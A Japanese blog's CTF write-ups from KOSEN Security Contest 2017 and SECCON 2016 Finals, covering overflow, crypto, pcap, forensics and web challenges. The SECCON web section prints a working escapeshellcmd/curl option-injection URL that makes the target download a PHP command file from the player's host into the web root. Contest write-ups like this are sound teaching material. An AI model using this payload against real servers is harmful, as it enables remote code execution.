プロになりたい

無限にツライので頑張って行きたい...

KOSENセキュリティコンテスト 2017 Write-Up

PwnPwnPain(元EagleJump(元Harekaze))でKOSENセキュリティコンテスト 2017に参加してきました。結果は4位で2800点でした。そのうち自分が関わった900点についてのWrite-Upです。 f:id:jagaNikuman:20171022224403p:plain

ボスを倒せ - Binary 200

[Description]
とあるゲームを見つけたのだが、ボスがあまりにも強すぎて一切倒せそうにない。
どうにか倒す方法はないだろうか?
[Netcat]
nc score.kosensc2017.tech 40048

ユーザー名を入力し、その後自動で戦闘が進むプログラムだった。
20文字入力したら自分のHPが変動したので、どれくらいでオーバーフローするんだろうと思って8文字くらい入力したらボスのHPが30くらいになって何故か勝てた。奇跡。
FLAG: SCKOSEN{buffer_over_flow!}

簡単な符号化2 - Crypto 100

[Description]
ファイルからフラグを探せ
[Problem File]
https://score.kosensc2017.tech/contents/problem/6/binary

Base64エンコードされたものが渡されるため、とりあえずデコードするとバイナリのような物が出てきた。
これをバイナリエディタに貼り付けてfileコマンドやbinwalkで調べてみたりするが何も引っかからず悲しかった。
現段階でのファイルのシグネチャを見るとKPだったので、KPってなんだよ~って思って調べていたが何も見つからず。
家にお持ち帰りして深夜4時にこれリトルエンディアンではとひらめきCyberChefで変換すればシグネチャがPKなおなじみのバイナリが出てきた。(KPの時点でリトルエンディアンに気づくべきだった。)

jaganikuman$ file export
export: Zip archive data, at least v2.0 to extract

zipを解凍したら以下のようにwordなファイルが沢山出てきたため、拡張子をzipからdocxに変えてwordで開いてFLAG獲得。

jaganikuman$ unzip export
Archive:  export
  inflating: _rels/.rels             
  inflating: word/document.xml       
  inflating: word/styles.xml         
  inflating: word/_rels/document.xml.rels  
  inflating: word/settings.xml       
  inflating: word/fontTable.xml      
  inflating: docProps/app.xml        
  inflating: docProps/core.xml       
  inflating: [Content_Types].xml 

FLAG: SCKOSEN{TEXT_BUT_NOT_PLAIN}

ファイル送信pcap - Network 200

[Description]
これはファイルを送受信しているpcapです
[Problem File]
https://score.kosensc2017.tech/contents/problem/19/file.pcap

Lenna.pnglock.zipをPOSTしているpcapが与えられた。
lock.zipにはLenna.pngflag.txtが入っていた。 pcapからLenna.pnglock.zipを取り出すと、zipにはパスワードが掛かっていた。
自分はLenna.pngにSteganoとかでパスワードが埋まっているんだろうと思ってstegano-lsbなど色々試したが、無理だった。
そこで、zipの中に入ってるLenna.pngが与えられているため、この事に着目して考えたら以下の記事に出会い、選択平文攻撃で出来そうと分かった。

Blog: 年越しCTF x86-64.jp大会 2014 を開催しました – x86-64.jp - くりす研

あとはチームメイトの@ushikenに投げてFLAG獲得。
FLAG: SCKOSEN{k_p_t_a}

灯台下暗し - Web 100

[Description]
パスワードを奪取せよ。
[Web Server]
http://score.kosensc2017.tech:40052

ログインフォームがあるWebページを与えられるが、その下にHintとしてphpのソースが乗っていた。

 $try = false;
  $login = false;

 if( isset($_POST[‘name’]) && isset($_POST[‘password’])){
    $name = htmlspecialchars($_POST[‘name’], ENT_QUOTES);
    $password = htmlspecialchars($_POST[‘password’], ENT_QUOTES);

   $db = new SQLite3(‘data.db’);
    
   $stmt = $db->prepare(“SELECT name FROM users WHERE name = ? AND password = ?“);
    $stmt->bindValue(1, $name, SQLITE3_TEXT);
    $stmt->bindValue(2, $password, SQLITE3_TEXT);

   $rows = $stmt->execute();
    $row = $rows->fetchArray();

   $try = true;
    $login = $rows && $row[‘name’];
    $db->close();
  }

sqliteのDBファイルを読み込んでいるので、このファイルが公開ディレクトリに設置されてて落とせるのではと思ってhttp://score.kosensc2017.tech:40052/data.dbにアクセスしたところ、ダウンロード出来た。
hintで与えられたソースに$stmt = $db->prepare(“SELECT name FROM users WHERE name = ? AND password = ?“);とあるので、sqlite3でselect * from users;でFLAG獲得。

jaganikuman$ sqlite3 data.db 
SQLite version 3.13.0 2016-05-18 10:57:30
Enter ".help" for usage hints.
sqlite> select * from users;
admin|SCKOSEN{database_bukkonuki!}

FLAG: SCKOSEN{database_bukkonuki!}

Web1 - Web 200

[Description]
no description.
[Web Server]
http://score.kosensc2017.tech:40050

難読化されたJavaScriptが読み込まれたWebページが与えられる。つまり難読化を読み解いていけと言うことですね。

___ = window;
__ = document;
s = “shift”;
m = [“addEventListener”, “DOMContentLoaded”, “createElement”, “div”, “textContent”, “deobfuscate js and find the key”, “body”, “appendChild”, “length”, “join”, “forEach”, “parseInt”, “toString”, “toUpperCase”];
__[m[s]()](m[s](), ()=>{
    _ = __[m[s]()](m[s]());
    _[m[s]()] = m[s]();
    __[m[s]()][m[s]()](_);
    (()=>{
        __ = [18234125, 323835316891, 11523, 907531478812, 744387234, 44203240442235, 844002446169231, 4601, ];
        ____ = {
            _: m[s](),
            ___: m[s]()
        };
        ____.__ = `____`[[____._]];
        __[m[s]()]((n,_)=>{
            __[_] = `${___[m[s | s]](n, _ + 1)[m[s ^ s ^ 1]](0O22 << 1)[m[-~-~s]]()}{${n}}`;
            if (__[_][____[“_”]] > 4)
                __[_] = Array(__[_][____[“_”]])[____[“___“]](“_”);
        }
        );
    }
    )();
}
, false);

アンダースコアを文字に置き換えて多少読みやすくした。

c = window;
b = document;
s = “shift”;
m = [“addEventListener”, “DOMContentLoaded”, “createElement”, “div”, “textContent”, “deobfuscate js and find the key”, “body”, “appendChild”, “length”, “join”, “forEach”, “parseInt”, “toString”, “toUpperCase”];
b[m[s]()](m[s](), ()=>{
    a = b[m[s]()](m[s]());
    a[m[s]()] = m[s]();
    b[m[s]()][m[s]()](a);
    (()=>{
        b = [18234125, 323835316891, 11523, 907531478812, 744387234, 44203240442235, 844002446169231, 4601, ];
        d = {
            a: m[s](),
            c: m[s]()
        };
        d.b = `d`[[d.a]];
        b[m[s]()]((n,a)=>{
            b[a] = `${c[m[s | s]](n, a + 1)[m[s ^ s ^ 1]](0O22 << 1)[m[-~-~s]]()}{${n}}`;
            if (b[a][d[“a”]] > 4)
                b[a] = Array(b[a][d[“a”]])[d[“c”]](“a”);
        }
        );
    }
    )();
}
, false);

これを自分に読み解いていくのは無理だと思ったので、各計算後に変数の内容をデバッグしていった。そうしたらFLAGが出た。難読化厳しい。

b[a] = `${c[m[s | s]](n, a + 1)[m[s ^ s ^ 1]](0O22 << 1)[m[-~-~s]]()}{${n}}`;
console.log(b[a]);

FLAG: SCKOSEN{44203240442235}

通信を解析しろ - KoH 30

[Description]
pcapファイルを解析して、隠されたサービスを発見しろ。
[Problem File]
https://score.kosensc2017.tech/contents/problem/12/hoge.pcap
[Server Address]
http://10.201.1.102

13万パケットある12.4MBのpcapが渡された。
まず、pcap内からボーナスFLAGをチームメンバーの@tamanekoが見つけてくれた。
FLAG: SCKOSEN{p0rtkn0cking}
portknockingという事だったので、明らかにポートノッキングしてそうな通信が合ったためそれを再現してknockして、sshにアクセスしたり8081にアクセスしたりしてみるも何も返答がなかった。
競技終了後の解説を聞くとノックするポートは2つだけだったり、ノック後にアクセスする場所は443だったり、色々見当違いで悲しかった。

感想

今の自分には難易度的にはちょうどよい大会だった。
ただ、1日目後半にファイルシステムの500点問題が追加され、独自ファイルシステムの解析が出来ず上位3チームと綺麗に500点分差が生まれてしまった。
f:id:jagaNikuman:20171022235051p:plain
今回の負けの原因は完全にこのファイルシステムの問題なので、早いうちに各プロのWrite-Upを参考にしながら解いて力にしていきたい。

SECCON2016 Final WriteUp

おなじみ(?)のほら貝で始まったSECCON2016 Finalですが、King of the Hillだったのにサーバ攻略に手を付けられずに一生Jeopardyしていたのでそのうちの関わった2問について書いていきます。(2問しか解けてない…)

また、今回はKOSENセキュリティコンテストから、Harekazeとして参加してきました。 SECCON2016 Online予選で30人規模で参加していたチームとは別のチームです。(名前かぶり)

Find the key - Forensic 100pt

Find the key.  
配布ファイル: question.vhd

vhdファイルが渡されるので、そこからフラグを見つける問題でした。
まず、vhdファイルだったので、マウントしようとしてみるも何故か失敗。(改めてWindowsでマウントしたところ、普通に行けたので焦って何らかのミスをしていたと思われる…)

その後チームメイトがFTK Imagerで開いたところ、画像.pngが見つかり、ステガノを探したりbinwalkを走らせたりするも、特に見つからず再び思考タイムに入る。

更にその後、1, 2, 3と連番のファイルが見つかり、1のファイルをプレビュー見たところ、SECCON{}のフラグ形式が少し見えた。

[f:id:jagaNikuman:20170130232911p:plain:w300]

が、しかし欠けていてフラグは読み取れなかったので、これ1, 2, 3のファイルのバイナリを連結すれば行けるのでは、とチームメンバー(@the_ko_show)に投げられたのでBzで連結したところ、フラグの画像が出てきた。

[f:id:jagaNikuman:20170130233537p:plain:w300]

SECCON{kakusuno dame}

画像ファイルと特定する段階だが、開いて画像が見れたのはたまたまだし、思いっきり先頭にFF D8 FF EEと書かれていたのでしっかりマジックナンバーを見て判別していきたい…

2016-10033-ish - Web 100pt

http://10.100.6.2/FLAGhere/ 

とのこと。タイトルからも分かるように、CVE-2016-10033を使った問題でした。

CVE-2016-10033は、phpescapeshellcmd関数がシングルクォート、ダブルクォートそれぞれが連続している場合のみエスケープするという仕様から生まれたPHPMailerの脆弱性だそうです。

escapeshellcmdの仕様としては、以下のようになるらしいです。(間違っていたらすみません)

文字列 エスケープされるか 念のため
‘’ ⭕される シングル・シングル
‘“ ❌されない シングル・ダブル
“” ⭕される ダブル・ダブル
“‘ ❌されない ダブル・シングル

まず、 http://10.100.6.2/FLAGhere/にアクセスするも、ソースには何も記述されていませんでした。
そこで、 http://10.100.6.2/にアクセスすると、UNDER CONSTRUCTION...とのこと。
とりあえずソースを見てみると、

<link href="http://10.100.6.2/css-selector.php?set=0" rel="stylesheet" type="text/css">

と書かれていたので、http://10.100.6.2/css-selector.php?set=0にアクセスすると、cssが表示され、set=0の引数を消してcss-selector.phpに直接アクセスすると、main.cssmain-test.cssの二つのリンクが表示されていた。

リンク先はcss-selector.php/css=./main.csscss-selector.php/css=./main-test.cssとなっていたので、これらの挙動からcss=ファイル名cssファイルを指定し、set=0で指定したcssを取得していることが推測できました。

とりあえずcss-selector.phpのソースを見たかったので、css=./css-selector.phpとして、set=0にアクセスしたら無事ソースが見れました。

if($_GET['set'] == '0') {
  header("Content-Type: text/css");
  echo file_get_contents($_SESSION['css']);
}

とのことだったので、file_get_contentscss取り込んでくれるなら、以下のようなls -alを発行するphpを自分のPCに置いて、それを読ませれば任意コマンド発行出来るのでは、と思うもfile_get_contentsは実行せずにファイルを取得するだけの関数だったので未遂に終わった。

<?php
    system('ls -al');
?>

次に試したことは、

elseif($_GET['tool'] == 'curl') {
  $cmd = "/usr/bin/curl \"http://".$_GET['host']."\"";
  $cmd = escapeshellcmd($cmd);
  echo "<plaintext>cd ./writabletmp/; pwd; $cmd\n";
  system("cd ./writabletmp/; pwd; $cmd 2>&1");
}

より、CVE-2016-10033の通りにescapeshellcmd脆弱性を使ってOSコマンドインジェクションを試してみた。が、最後のダブルクォーテーションをうまく消せずに断念。

ここで、自分は万策尽きてしまったのでチームメイトに投げたところ、オプションならインジェクション出来そうだから、-oを付けてサーバにphp仕込めそう、とのことだったがPermission Deniedになる。
と言われたのでソースをもう一度よく見るとwritabletmpというあからさまなディレクトリに移動してからcurlを発行していたので、writabletmp以下に書き込むように修正を加えた。

http://10.100.6.2/css-selector.php?&tool=curl&host=192.168.23.3/seccon/ls.php" -o /var/www/html/writabletmp/ls.php"

これを発行したところ、

cd ./writabletmp/; pwd; /usr/bin/curl "http://192.168.23.3/seccon/ls.php" -o /var/www/html/writabletmp/ls.php""
/var/www/html/writabletmp
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0
105   317  105   317    0     0   114k      0 --:--:-- --:--:-- --:--:--  309k

とのことで、Permission Deniedされなかったのでhttp://http://10.100.6.2/writabletmp/ls.php/にアクセスしてフラグ獲得。  

SECCON{escapeshellcmd_CVE-2016-10033}

OSコマンドインジェクションだと思ったり、phpのバージョンが5.3.3だったことからヌルバイト攻撃か…?とも思ったりしたけど全くの見当違いで1日潰したの辛かった…

感想

今回始めてSECCON参加して分かった事が、pwn出来ないとまともに点が取れなかったということでした。とりあえずハリネズミから始めていきたいと思います。

pwnつらい…